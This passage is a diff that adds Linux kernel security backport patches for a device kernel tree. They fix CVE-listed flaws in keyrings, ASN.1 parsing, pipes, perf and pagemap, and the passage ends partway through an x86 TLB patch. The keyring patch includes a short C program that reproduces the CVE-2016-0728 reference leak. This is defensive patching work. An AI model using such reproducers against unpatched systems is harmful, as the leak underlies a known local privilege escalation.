b886719145be12b36048dffbca07332500c39cf6 Mon Sep 17 00:00:00 2001 +From: Herbert Xu +Date: Thu, 27 Oct 2016 17:29:34 +0300 +Subject: crypto: algif_skcipher - Require setkey before accept(2) + +commit dd504589577d8e8e70f51f997ad487a4cb6c026f upstream. + +Some cipher implementations will crash if you try to use them +without calling setkey first. This patch adds a check so that +the accept(2) call will fail with -ENOKEY if setkey hasn't been +done on the socket yet. + +Cc: stable@vger.kernel.org +Reported-by: Dmitry Vyukov +Signed-off-by: Herbert Xu +Tested-by: Dmitry Vyukov +Signed-off-by: Andrey Ryabinin +Signed-off-by: Willy Tarreau +--- + crypto/algif_skcipher.c | 51 ++++++++++++++++++++++++++++++++++++++++--------- + 1 file changed, 42 insertions(+), 9 deletions(-) + +diff --git a/crypto/algif_skcipher.c b/crypto/algif_skcipher.c +index 83187f497c7c6..c4c121a0bf8fd 100644 +--- a/crypto/algif_skcipher.c ++++ b/crypto/algif_skcipher.c +@@ -31,6 +31,11 @@ struct skcipher_sg_list { + struct scatterlist sg[0]; + }; + ++struct skcipher_tfm { ++ struct crypto_ablkcipher *skcipher; ++ bool has_key; ++}; ++ + struct skcipher_ctx { + struct list_head tsgl; + struct af_alg_sgl rsgl; +@@ -546,17 +551,41 @@ static struct proto_ops algif_skcipher_ops = { + + static void *skcipher_bind(const char *name, u32 type, u32 mask) + { +- return crypto_alloc_ablkcipher(name, type, mask); ++ struct skcipher_tfm *tfm; ++ struct crypto_ablkcipher *skcipher; ++ ++ tfm = kzalloc(sizeof(*tfm), GFP_KERNEL); ++ if (!tfm) ++ return ERR_PTR(-ENOMEM); ++ ++ skcipher = crypto_alloc_ablkcipher(name, type, mask); ++ if (IS_ERR(skcipher)) { ++ kfree(tfm); ++ return ERR_CAST(skcipher); ++ } ++ ++ tfm->skcipher = skcipher; ++ ++ return tfm; + } + + static void skcipher_release(void *private) + { +- crypto_free_ablkcipher(private); ++ struct skcipher_tfm *tfm = private; ++ ++ crypto_free_ablkcipher(tfm->skcipher); ++ kfree(tfm); + } + + static int skcipher_setkey(void *private, const u8 *key, unsigned int keylen) + { +- return crypto_ablkcipher_setkey(private, key, keylen); ++ struct skcipher_tfm *tfm = private; ++ int err; ++ ++ err = crypto_ablkcipher_setkey(tfm->skcipher, key, keylen); ++ tfm->has_key = !err; ++ ++ return err; + } + + static void skcipher_sock_destruct(struct sock *sk) +@@ -575,20 +604,24 @@ static int skcipher_accept_parent(void *private, struct sock *sk) + { + struct skcipher_ctx *ctx; + struct alg_sock *ask = alg_sk(sk); +- unsigned int len = sizeof(*ctx) + crypto_ablkcipher_reqsize(private); ++ struct skcipher_tfm *tfm = private; ++ struct crypto_ablkcipher *skcipher = tfm->skcipher; ++ unsigned int len = sizeof(*ctx) + crypto_ablkcipher_reqsize(skcipher); ++ ++ if (!tfm->has_key) ++ return -ENOKEY; + + ctx = sock_kmalloc(sk, len, GFP_KERNEL); + if (!ctx) + return -ENOMEM; +- +- ctx->iv = sock_kmalloc(sk, crypto_ablkcipher_ivsize(private), ++ ctx->iv = sock_kmalloc(sk, crypto_ablkcipher_ivsize(skcipher), + GFP_KERNEL); + if (!ctx->iv) { + sock_kfree_s(sk, ctx, len); + return -ENOMEM; + } + +- memset(ctx->iv, 0, crypto_ablkcipher_ivsize(private)); ++ memset(ctx->iv, 0, crypto_ablkcipher_ivsize(skcipher)); + + INIT_LIST_HEAD(&ctx->tsgl); + ctx->len = len; +@@ -600,9 +633,9 @@ static int skcipher_accept_parent(void *private, struct sock *sk) + + ask->private = ctx; + +- ablkcipher_request_set_tfm(&ctx->req, private); ++ ablkcipher_request_set_tfm(&ctx->req, skcipher); + ablkcipher_request_set_callback(&ctx->req, CRYPTO_TFM_REQ_MAY_BACKLOG, +- af_alg_complete, &ctx->completion); ++ af_alg_complete, &ctx->completion); + + sk->sk_destruct = skcipher_sock_destruct; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0194-ac74acf2bda7-perf Tighten and fix the grouping condition.patch b/recipes-kernel/linux/linux-bass/autopatcher/0194-ac74acf2bda7-perf Tighten and fix the grouping condition.patch new file mode 100644 index 0000000..bd0804c --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0194-ac74acf2bda7-perf Tighten and fix the grouping condition.patch @@ -0,0 +1,94 @@ +From ac74acf2bda7289a5b076407b29f3a075aec830c Mon Sep 17 00:00:00 2001 +From: Peter Zijlstra +Date: Fri, 23 Jan 2015 11:19:48 +0100 +Subject: perf: Tighten (and fix) the grouping condition + +commit c3c87e770458aa004bd7ed3f29945ff436fd6511 upstream. + +The fix from 9fc81d87420d ("perf: Fix events installation during +moving group") was incomplete in that it failed to recognise that +creating a group with events for different CPUs is semantically +broken -- they cannot be co-scheduled. + +Furthermore, it leads to real breakage where, when we create an event +for CPU Y and then migrate it to form a group on CPU X, the code gets +confused where the counter is programmed -- triggered in practice +as well by me via the perf fuzzer. + +Fix this by tightening the rules for creating groups. Only allow +grouping of counters that can be co-scheduled in the same context. +This means for the same task and/or the same cpu. + +Fixes: 9fc81d87420d ("perf: Fix events installation during moving group") +Signed-off-by: Peter Zijlstra (Intel) +Cc: Arnaldo Carvalho de Melo +Cc: Jiri Olsa +Cc: Linus Torvalds +Link: http://lkml.kernel.org/r/20150123125834.090683288@infradead.org +Signed-off-by: Ingo Molnar +Signed-off-by: Willy Tarreau +--- + include/linux/perf_event.h | 6 ------ + kernel/events/core.c | 15 +++++++++++++-- + 2 files changed, 13 insertions(+), 8 deletions(-) + +diff --git a/include/linux/perf_event.h b/include/linux/perf_event.h +index 229a757e1c13f..3204422317e0f 100644 +--- a/include/linux/perf_event.h ++++ b/include/linux/perf_event.h +@@ -430,11 +430,6 @@ struct perf_event { + #endif /* CONFIG_PERF_EVENTS */ + }; + +-enum perf_event_context_type { +- task_context, +- cpu_context, +-}; +- + /** + * struct perf_event_context - event context structure + * +@@ -442,7 +437,6 @@ enum perf_event_context_type { + */ + struct perf_event_context { + struct pmu *pmu; +- enum perf_event_context_type type; + /* + * Protect the states of the events in the list, + * nr_active, and the list: +diff --git a/kernel/events/core.c b/kernel/events/core.c +index 0f52078396738..76e26b8e4e41d 100644 +--- a/kernel/events/core.c ++++ b/kernel/events/core.c +@@ -6249,7 +6249,6 @@ skip_type: + __perf_event_init_context(&cpuctx->ctx); + lockdep_set_class(&cpuctx->ctx.mutex, &cpuctx_mutex); + lockdep_set_class(&cpuctx->ctx.lock, &cpuctx_lock); +- cpuctx->ctx.type = cpu_context; + cpuctx->ctx.pmu = pmu; + cpuctx->jiffies_interval = 1; + INIT_LIST_HEAD(&cpuctx->rotation_list); +@@ -6856,7 +6855,19 @@ SYSCALL_DEFINE5(perf_event_open, + * task or CPU context: + */ + if (move_group) { +- if (group_leader->ctx->type != ctx->type) ++ /* ++ * Make sure we're both on the same task, or both ++ * per-cpu events. ++ */ ++ if (group_leader->ctx->task != ctx->task) ++ goto err_context; ++ ++ /* ++ * Make sure we're both events for the same CPU; ++ * grouping events for different CPUs is broken; since ++ * you can never concurrently schedule them anyhow. ++ */ ++ if (group_leader->cpu != event->cpu) + goto err_context; + } else { + if (group_leader->ctx != ctx) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0195-81afd3a2f3bf-cx24116 fix a buffer overflow when checking userspace params.patch b/recipes-kernel/linux/linux-bass/autopatcher/0195-81afd3a2f3bf-cx24116 fix a buffer overflow when checking userspace params.patch new file mode 100644 index 0000000..9094989 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0195-81afd3a2f3bf-cx24116 fix a buffer overflow when checking userspace params.patch @@ -0,0 +1,46 @@ +From 81afd3a2f3bfd22a96a2229b8f091e072b78c0ba Mon Sep 17 00:00:00 2001 +From: Mauro Carvalho Chehab +Date: Tue, 28 Apr 2015 18:51:17 -0300 +Subject: cx24116: fix a buffer overflow when checking userspace params + +commit 1fa2337a315a2448c5434f41e00d56b01a22283c upstream. + +The maximum size for a DiSEqC command is 6, according to the +userspace API. However, the code allows to write up much more values: + drivers/media/dvb-frontends/cx24116.c:983 cx24116_send_diseqc_msg() error: buffer overflow 'd->msg' 6 <= 23 + +Signed-off-by: Mauro Carvalho Chehab +Signed-off-by: Greg Kroah-Hartman +--- + drivers/media/dvb-frontends/cx24116.c | 8 ++++---- + 1 file changed, 4 insertions(+), 4 deletions(-) + +diff --git a/drivers/media/dvb-frontends/cx24116.c b/drivers/media/dvb-frontends/cx24116.c +index 2916d7c74a1da..7bc68b355c0b9 100644 +--- a/drivers/media/dvb-frontends/cx24116.c ++++ b/drivers/media/dvb-frontends/cx24116.c +@@ -963,6 +963,10 @@ static int cx24116_send_diseqc_msg(struct dvb_frontend *fe, + struct cx24116_state *state = fe->demodulator_priv; + int i, ret; + ++ /* Validate length */ ++ if (d->msg_len > sizeof(d->msg)) ++ return -EINVAL; ++ + /* Dump DiSEqC message */ + if (debug) { + printk(KERN_INFO "cx24116: %s(", __func__); +@@ -974,10 +978,6 @@ static int cx24116_send_diseqc_msg(struct dvb_frontend *fe, + printk(") toneburst=%d\n", toneburst); + } + +- /* Validate length */ +- if (d->msg_len > (CX24116_ARGLEN - CX24116_DISEQC_MSGOFS)) +- return -EINVAL; +- + /* DiSEqC message */ + for (i = 0; i < d->msg_len; i++) + state->dsec_cmd.args[CX24116_DISEQC_MSGOFS + i] = d->msg[i]; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0196-6f2db87b6c79-tty Fix unsafe ldisc reference via ioctlTIOCGETD.patch b/recipes-kernel/linux/linux-bass/autopatcher/0196-6f2db87b6c79-tty Fix unsafe ldisc reference via ioctlTIOCGETD.patch new file mode 100644 index 0000000..69f020c --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0196-6f2db87b6c79-tty Fix unsafe ldisc reference via ioctlTIOCGETD.patch @@ -0,0 +1,70 @@ +From 6f2db87b6c797290116ef2783815b37b76394430 Mon Sep 17 00:00:00 2001 +From: Peter Hurley +Date: Sun, 10 Jan 2016 22:40:55 -0800 +Subject: tty: Fix unsafe ldisc reference via ioctl(TIOCGETD) + +commit 5c17c861a357e9458001f021a7afa7aab9937439 upstream. + +ioctl(TIOCGETD) retrieves the line discipline id directly from the +ldisc because the line discipline id (c_line) in termios is untrustworthy; +userspace may have set termios via ioctl(TCSETS*) without actually +changing the line discipline via ioctl(TIOCSETD). + +However, directly accessing the current ldisc via tty->ldisc is +unsafe; the ldisc ptr dereferenced may be stale if the line discipline +is changing via ioctl(TIOCSETD) or hangup. + +Wait for the line discipline reference (just like read() or write()) +to retrieve the "current" line discipline id. + +Signed-off-by: Peter Hurley +Signed-off-by: Greg Kroah-Hartman +--- + drivers/tty/tty_io.c | 24 +++++++++++++++++++++++- + 1 file changed, 23 insertions(+), 1 deletion(-) + +diff --git a/drivers/tty/tty_io.c b/drivers/tty/tty_io.c +index 2967b6eb4c70..8977eaf24d9f 100644 +--- a/drivers/tty/tty_io.c ++++ b/drivers/tty/tty_io.c +@@ -2575,6 +2575,28 @@ static int tiocsetd(struct tty_struct *tty, int __user *p) + return ret; + } + ++/** ++ * tiocgetd - get line discipline ++ * @tty: tty device ++ * @p: pointer to user data ++ * ++ * Retrieves the line discipline id directly from the ldisc. ++ * ++ * Locking: waits for ldisc reference (in case the line discipline ++ * is changing or the tty is being hungup) ++ */ ++ ++static int tiocgetd(struct tty_struct *tty, int __user *p) ++{ ++ struct tty_ldisc *ld; ++ int ret; ++ ++ ld = tty_ldisc_ref_wait(tty); ++ ret = put_user(ld->ops->num, p); ++ tty_ldisc_deref(ld); ++ return ret; ++} ++ + /** + * send_break - performed time break + * @tty: device to break on +@@ -2789,7 +2811,7 @@ long tty_ioctl(struct file *file, unsigned int cmd, unsigned long arg) + case TIOCGSID: + return tiocgsid(tty, real_tty, p); + case TIOCGETD: +- return put_user(tty->ldisc->ops->num, (int __user *)p); ++ return tiocgetd(tty, p); + case TIOCSETD: + return tiocsetd(tty, p); + case TIOCVHANGUP: +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0197-84de97ff5075-KEYS Fix keyring ref leak in joinsessionkeyring.patch b/recipes-kernel/linux/linux-bass/autopatcher/0197-84de97ff5075-KEYS Fix keyring ref leak in joinsessionkeyring.patch new file mode 100644 index 0000000..5d5abd2 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0197-84de97ff5075-KEYS Fix keyring ref leak in joinsessionkeyring.patch @@ -0,0 +1,84 @@ +From 84de97ff5075bb6b4c25e8cbbcd40e55da1c1d4c Mon Sep 17 00:00:00 2001 +From: Yevgeny Pats +Date: Tue, 19 Jan 2016 22:09:04 +0000 +Subject: KEYS: Fix keyring ref leak in join_session_keyring() + +commit 23567fd052a9abb6d67fe8e7a9ccdd9800a540f2 upstream. + +This fixes CVE-2016-0728. + +If a thread is asked to join as a session keyring the keyring that's already +set as its session, we leak a keyring reference. + +This can be tested with the following program: + + #include + #include + #include + #include + + int main(int argc, const char *argv[]) + { + int i = 0; + key_serial_t serial; + + serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, + "leaked-keyring"); + if (serial < 0) { + perror("keyctl"); + return -1; + } + + if (keyctl(KEYCTL_SETPERM, serial, + KEY_POS_ALL | KEY_USR_ALL) < 0) { + perror("keyctl"); + return -1; + } + + for (i = 0; i < 100; i++) { + serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, + "leaked-keyring"); + if (serial < 0) { + perror("keyctl"); + return -1; + } + } + + return 0; + } + +If, after the program has run, there something like the following line in +/proc/keys: + +3f3d898f I--Q--- 100 perm 3f3f0000 0 0 keyring leaked-keyring: empty + +with a usage count of 100 * the number of times the program has been run, +then the kernel is malfunctioning. If leaked-keyring has zero usages or +has been garbage collected, then the problem is fixed. + +Reported-by: Yevgeny Pats +Signed-off-by: David Howells +Acked-by: Don Zickus +Acked-by: Prarit Bhargava +Acked-by: Jarod Wilson +Signed-off-by: James Morris +Signed-off-by: Greg Kroah-Hartman +--- + security/keys/process_keys.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/security/keys/process_keys.c b/security/keys/process_keys.c +index 42defae1e1616..cd871dc8b7c0d 100644 +--- a/security/keys/process_keys.c ++++ b/security/keys/process_keys.c +@@ -792,6 +792,7 @@ long join_session_keyring(const char *name) + ret = PTR_ERR(keyring); + goto error2; + } else if (keyring == new->session_keyring) { ++ key_put(keyring); + ret = 0; + goto error2; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0198-23c8a812dc3c-KEYS Fix ASN1 indefinite length object parsing.patch b/recipes-kernel/linux/linux-bass/autopatcher/0198-23c8a812dc3c-KEYS Fix ASN1 indefinite length object parsing.patch new file mode 100644 index 0000000..f6f5a18 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0198-23c8a812dc3c-KEYS Fix ASN1 indefinite length object parsing.patch @@ -0,0 +1,91 @@ +From 23c8a812dc3c621009e4f0e5342aa4e2ede1ceaa Mon Sep 17 00:00:00 2001 +From: David Howells +Date: Tue, 23 Feb 2016 11:03:12 +0000 +Subject: KEYS: Fix ASN.1 indefinite length object parsing + +This fixes CVE-2016-0758. + +In the ASN.1 decoder, when the length field of an ASN.1 value is extracted, +it isn't validated against the remaining amount of data before being added +to the cursor. With a sufficiently large size indicated, the check: + + datalen - dp < 2 + +may then fail due to integer overflow. + +Fix this by checking the length indicated against the amount of remaining +data in both places a definite length is determined. + +Whilst we're at it, make the following changes: + + (1) Check the maximum size of extended length does not exceed the capacity + of the variable it's being stored in (len) rather than the type that + variable is assumed to be (size_t). + + (2) Compare the EOC tag to the symbolic constant ASN1_EOC rather than the + integer 0. + + (3) To reduce confusion, move the initialisation of len outside of: + + for (len = 0; n > 0; n--) { + + since it doesn't have anything to do with the loop counter n. + +Signed-off-by: David Howells +Reviewed-by: Mimi Zohar +Acked-by: David Woodhouse +Acked-by: Peter Jones +--- + lib/asn1_decoder.c | 16 +++++++++------- + 1 file changed, 9 insertions(+), 7 deletions(-) + +diff --git a/lib/asn1_decoder.c b/lib/asn1_decoder.c +index 2b3f46c049d45..554522934c442 100644 +--- a/lib/asn1_decoder.c ++++ b/lib/asn1_decoder.c +@@ -74,7 +74,7 @@ next_tag: + + /* Extract a tag from the data */ + tag = data[dp++]; +- if (tag == 0) { ++ if (tag == ASN1_EOC) { + /* It appears to be an EOC. */ + if (data[dp++] != 0) + goto invalid_eoc; +@@ -96,10 +96,8 @@ next_tag: + + /* Extract the length */ + len = data[dp++]; +- if (len <= 0x7f) { +- dp += len; +- goto next_tag; +- } ++ if (len <= 0x7f) ++ goto check_length; + + if (unlikely(len == ASN1_INDEFINITE_LENGTH)) { + /* Indefinite length */ +@@ -110,14 +108,18 @@ next_tag: + } + + n = len - 0x80; +- if (unlikely(n > sizeof(size_t) - 1)) ++ if (unlikely(n > sizeof(len) - 1)) + goto length_too_long; + if (unlikely(n > datalen - dp)) + goto data_overrun_error; +- for (len = 0; n > 0; n--) { ++ len = 0; ++ for (; n > 0; n--) { + len <<= 8; + len |= data[dp++]; + } ++check_length: ++ if (len > datalen - dp) ++ goto data_overrun_error; + dp += len; + goto next_tag; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0199-b381fbc50905-pipe Fix buffer offset after partially failed read.patch b/recipes-kernel/linux/linux-bass/autopatcher/0199-b381fbc50905-pipe Fix buffer offset after partially failed read.patch new file mode 100644 index 0000000..c41ca0d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0199-b381fbc50905-pipe Fix buffer offset after partially failed read.patch @@ -0,0 +1,63 @@ +From b381fbc509052d07ccf8641fd7560a25d46aaf1e Mon Sep 17 00:00:00 2001 +From: Ben Hutchings +Date: Sat, 13 Feb 2016 02:34:52 +0000 +Subject: pipe: Fix buffer offset after partially failed read + +Quoting the RHEL advisory: + +> It was found that the fix for CVE-2015-1805 incorrectly kept buffer +> offset and buffer length in sync on a failed atomic read, potentially +> resulting in a pipe buffer state corruption. A local, unprivileged user +> could use this flaw to crash the system or leak kernel memory to user +> space. (CVE-2016-0774, Moderate) + +The same flawed fix was applied to stable branches from 2.6.32.y to +3.14.y inclusive, and I was able to reproduce the issue on 3.2.y. +We need to give pipe_iov_copy_to_user() a separate offset variable +and only update the buffer offset if it succeeds. + +References: https://rhn.redhat.com/errata/RHSA-2016-0103.html +Signed-off-by: Ben Hutchings +Cc: Jeffrey Vander Stoep +Signed-off-by: Zefan Li +--- + fs/pipe.c | 5 ++++- + 1 file changed, 4 insertions(+), 1 deletion(-) + +(limited to 'fs/pipe.c') + +diff --git a/fs/pipe.c b/fs/pipe.c +index abfb93525ca6..6049235e2a69 100644 +--- a/fs/pipe.c ++++ b/fs/pipe.c +@@ -390,6 +390,7 @@ pipe_read(struct kiocb *iocb, const struct iovec *_iov, + void *addr; + size_t chars = buf->len, remaining; + int error, atomic; ++ int offset; + + if (chars > total_len) + chars = total_len; +@@ -403,9 +404,10 @@ pipe_read(struct kiocb *iocb, const struct iovec *_iov, + + atomic = !iov_fault_in_pages_write(iov, chars); + remaining = chars; ++ offset = buf->offset; + redo: + addr = ops->map(pipe, buf, atomic); +- error = pipe_iov_copy_to_user(iov, addr, &buf->offset, ++ error = pipe_iov_copy_to_user(iov, addr, &offset, + &remaining, atomic); + ops->unmap(pipe, buf, addr); + if (unlikely(error)) { +@@ -421,6 +423,7 @@ redo: + break; + } + ret += chars; ++ buf->offset += chars; + buf->len -= chars; + + /* Was it a packet buffer? Clean up and exit */ +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0200-b3f0b1f69425-PATCH msm perf Protect buffer overflow due to malicious user.patch b/recipes-kernel/linux/linux-bass/autopatcher/0200-b3f0b1f69425-PATCH msm perf Protect buffer overflow due to malicious user.patch new file mode 100644 index 0000000..7bcaa94 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0200-b3f0b1f69425-PATCH msm perf Protect buffer overflow due to malicious user.patch @@ -0,0 +1,58 @@ +From b3f0b1f694258b3b3debc5256eec94bb2a9eb454 Mon Sep 17 00:00:00 2001 +From: Swetha Chikkaboraiah +Date: Wed, 27 Jan 2016 11:46:54 +0530 +Subject: [PATCH] msm: perf: Protect buffer overflow due to malicious user + +In function krait_pmu_disable_event, parameter hwc comes from +userspace and is untrusted.The function krait_clearpmu is called +after the function get_krait_evtinfo. +Function get_krait_evtinfo as parameter krait_evt_type variable +which is used to extract the groupcode(reg) which is bound to + KRAIT_MAX_L1_REG (is 3). After validation,one code path modifies +groupcode(reg):If this code path executes, groupcode(reg) can be +3,4, 5, or 6. In krait_clearpmu groupcode used to access array +krait_functions whose size is 3. Since groupcode can be 3,4,5,6 +accessing array krait_functions lead to bufferoverlflow. +This change will validate groupcode not to exceed 3. + +CVE-2016-0805 Bug:ANDROID-25773204 + +Change-Id: I48c92adda137d8a074b4e1a367a468195a810ca1 +CRs-fixed: 962450 +Signed-off-by: Swetha Chikkaboraiah +Signed-off-by: Karthik Jadala +--- + arch/arm/kernel/perf_event_msm_krait.c | 8 ++++---- + 1 file changed, 4 insertions(+), 4 deletions(-) + +diff --git a/arch/arm/kernel/perf_event_msm_krait.c b/arch/arm/kernel/perf_event_msm_krait.c +index 49aae5a66b650..34f9b4e5b099d 100644 +--- a/arch/arm/kernel/perf_event_msm_krait.c ++++ b/arch/arm/kernel/perf_event_msm_krait.c +@@ -1,5 +1,5 @@ + /* +- * Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. ++ * Copyright (c) 2011-2014, 2016 The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -208,9 +208,6 @@ static unsigned int get_krait_evtinfo(unsigned int krait_evt_type, + code = (krait_evt_type & 0x00FF0) >> 4; + group = krait_evt_type & 0x0000F; + +- if ((group > 3) || (reg > KRAIT_MAX_L1_REG)) +- return -EINVAL; +- + if (prefix != KRAIT_EVT_PREFIX && prefix != KRAIT_VENUMEVT_PREFIX) + return -EINVAL; + +@@ -221,6 +218,9 @@ static unsigned int get_krait_evtinfo(unsigned int krait_evt_type, + reg += VENUM_BASE_OFFSET; + } + ++ if ((group > 3) || (reg > KRAIT_MAX_L1_REG)) ++ return -EINVAL; ++ + evtinfo->group_setval = 0x80000000 | (code << (group * 8)); + evtinfo->groupcode = reg; + evtinfo->armv7_evt_type = evt_type_base[reg] | group; diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0201-df1da5a5477c-includelinuxpoisonh fix LISTPOISON12 offset.patch b/recipes-kernel/linux/linux-bass/autopatcher/0201-df1da5a5477c-includelinuxpoisonh fix LISTPOISON12 offset.patch new file mode 100644 index 0000000..724b9a6 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0201-df1da5a5477c-includelinuxpoisonh fix LISTPOISON12 offset.patch @@ -0,0 +1,51 @@ +From df1da5a5477cc4fb1e8fa330851b0ad78255bfd4 Mon Sep 17 00:00:00 2001 +From: Vasily Kulikov +Date: Wed, 9 Sep 2015 15:36:00 -0700 +Subject: include/linux/poison.h: fix LIST_POISON{1,2} offset + +commit 8a5e5e02fc83aaf67053ab53b359af08c6c49aaf upstream. + +Poison pointer values should be small enough to find a room in +non-mmap'able/hardly-mmap'able space. E.g. on x86 "poison pointer space" +is located starting from 0x0. Given unprivileged users cannot mmap +anything below mmap_min_addr, it should be safe to use poison pointers +lower than mmap_min_addr. + +The current poison pointer values of LIST_POISON{1,2} might be too big for +mmap_min_addr values equal or less than 1 MB (common case, e.g. Ubuntu +uses only 0x10000). There is little point to use such a big value given +the "poison pointer space" below 1 MB is not yet exhausted. Changing it +to a smaller value solves the problem for small mmap_min_addr setups. + +The values are suggested by Solar Designer: +http://www.openwall.com/lists/oss-security/2015/05/02/6 + +Signed-off-by: Vasily Kulikov +Cc: Solar Designer +Cc: Thomas Gleixner +Cc: "Kirill A. Shutemov" +Signed-off-by: Andrew Morton +Signed-off-by: Linus Torvalds +Signed-off-by: Willy Tarreau +--- + include/linux/poison.h | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/include/linux/poison.h b/include/linux/poison.h +index 2110a81c5e2af..253c9b4198eff 100644 +--- a/include/linux/poison.h ++++ b/include/linux/poison.h +@@ -19,8 +19,8 @@ + * under normal circumstances, used to verify that nobody uses + * non-initialized list entries. + */ +-#define LIST_POISON1 ((void *) 0x00100100 + POISON_POINTER_DELTA) +-#define LIST_POISON2 ((void *) 0x00200200 + POISON_POINTER_DELTA) ++#define LIST_POISON1 ((void *) 0x100 + POISON_POINTER_DELTA) ++#define LIST_POISON2 ((void *) 0x200 + POISON_POINTER_DELTA) + + /********** include/linux/timer.h **********/ + /* +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0202-e11b708502b0-pagemap do not leak physical addresses to nonprivileged userspace.patch b/recipes-kernel/linux/linux-bass/autopatcher/0202-e11b708502b0-pagemap do not leak physical addresses to nonprivileged userspace.patch new file mode 100644 index 0000000..c33943b --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0202-e11b708502b0-pagemap do not leak physical addresses to nonprivileged userspace.patch @@ -0,0 +1,58 @@ +From e11b708502b0e249772e485585bec44be5fe8c70 Mon Sep 17 00:00:00 2001 +From: "Kirill A. Shutemov" +Date: Mon, 9 Mar 2015 23:11:12 +0200 +Subject: pagemap: do not leak physical addresses to non-privileged userspace + +commit ab676b7d6fbf4b294bf198fb27ade5b0e865c7ce upstream. + +As pointed by recent post[1] on exploiting DRAM physical imperfection, +/proc/PID/pagemap exposes sensitive information which can be used to do +attacks. + +This disallows anybody without CAP_SYS_ADMIN to read the pagemap. + +[1] http://googleprojectzero.blogspot.com/2015/03/exploiting-dram-rowhammer-bug-to-gain.html + +[ Eventually we might want to do anything more finegrained, but for now + this is the simple model. - Linus ] + +Signed-off-by: Kirill A. Shutemov +Acked-by: Konstantin Khlebnikov +Acked-by: Andy Lutomirski +Cc: Pavel Emelyanov +Cc: Andrew Morton +Cc: Mark Seaborn +Signed-off-by: Linus Torvalds +Signed-off-by: mancha security +Signed-off-by: Greg Kroah-Hartman +--- + fs/proc/task_mmu.c | 10 ++++++++++ + 1 file changed, 10 insertions(+) + +diff --git a/fs/proc/task_mmu.c b/fs/proc/task_mmu.c +index 65fc60a07c47b..9f285fb9bab39 100644 +--- a/fs/proc/task_mmu.c ++++ b/fs/proc/task_mmu.c +@@ -1110,9 +1110,19 @@ out: + return ret; + } + ++static int pagemap_open(struct inode *inode, struct file *file) ++{ ++ /* do not disclose physical addresses to unprivileged ++ userspace (closes a rowhammer attack vector) */ ++ if (!capable(CAP_SYS_ADMIN)) ++ return -EPERM; ++ return 0; ++} ++ + const struct file_operations proc_pagemap_operations = { + .llseek = mem_lseek, /* borrow this */ + .read = pagemap_read, ++ .open = pagemap_open, + }; + #endif /* CONFIG_PROC_PAGE_MONITOR */ + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0203-b1b4becf7134-x86mm Add barriers and document switchmmvsflush.patch b/recipes-kernel/linux/linux-bass/autopatcher/0203-b1b4becf7134-x86mm Add barriers and document switchmmvsflush.patch new file mode 100644 index 0000000..9cec6db --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0203-b1b4becf7134-x86mm Add barriers and document switchmmvsflush.patch @@ -0,0 +1,158 @@ +From b1b4becf713431393006d95bbba9b6b3586255f0 Mon Sep 17 00:00:00 2001 +From: Andy Lutomirski +Date: Fri, 15 Jul 2016 14:26:26 -0400 +Subject: x86/mm: Add barriers and document switch_mm()-vs-flush + synchronization + +commit 71b3c126e61177eb693423f2e18a1914205b165e upstream. + +When switch_mm() activates a new PGD, it also sets a bit that +tells other CPUs that the PGD is in use so that TLB flush IPIs +will be sent. In order for that to work correctly, the bit +needs to be visible prior to loading the PGD and therefore +starting to fill the local TLB. + +Document all the barriers that make this work correctly and add +a couple that were missing. + +CVE-2016-2069 + +Signed-off-by: Andy Lutomirski +Cc: Andrew Morton +Cc: Andy Lutomirski +Cc: Borislav Petkov +Cc: Brian Gerst +Cc: Dave Hansen +Cc: Denys Vlasenko +Cc: H. Peter Anvin +Cc: Linus Torvalds +Cc: Peter Zijlstra +Cc: Rik van Riel +Cc: Thomas Gleixner +Cc: linux-mm@kvack.org +Signed-off-by: Ingo Molnar +[ luis: backported to 3.16: + - dropped N/A comment in flush_tlb_mm_range() + - adjusted context ] +Signed-off-by: Luis Henriques +[ciwillia@brocade.com: backported to 3.10: adjusted context] +Signed-off-by: Charles (Chas) Williams +Signed-off-by: Willy Tarreau +--- + arch/x86/include/asm/mmu_context.h | 32 +++++++++++++++++++++++++++++++- + arch/x86/mm/tlb.c | 24 +++++++++++++++++++++--- + 2 files changed, 52 insertions(+), 4 deletions(-) + +diff --git a/arch/x86/include/asm/mmu_context.h b/arch/x86/include/asm/mmu_context.h +index be12c534fd592..c0d2f6b668ece 100644 +--- a/arch/x86/include/asm/mmu_context.h ++++ b/arch/x86/include/asm/mmu_context.h +@@ -42,7 +42,32 @@ static inline void switch_mm(struct mm_struct *prev, struct mm_struct *next, + #endif + cpumask_set_cpu(cpu, mm_cpumask(next)); + +- /* Re-load page tables */ ++ /* ++ * Re-load page tables. ++ * ++ * This logic has an ordering constraint: ++ * ++ * CPU 0: Write to a PTE for 'next' ++ * CPU 0: load bit 1 in mm_cpumask. if nonzero, send IPI. ++ * CPU 1: 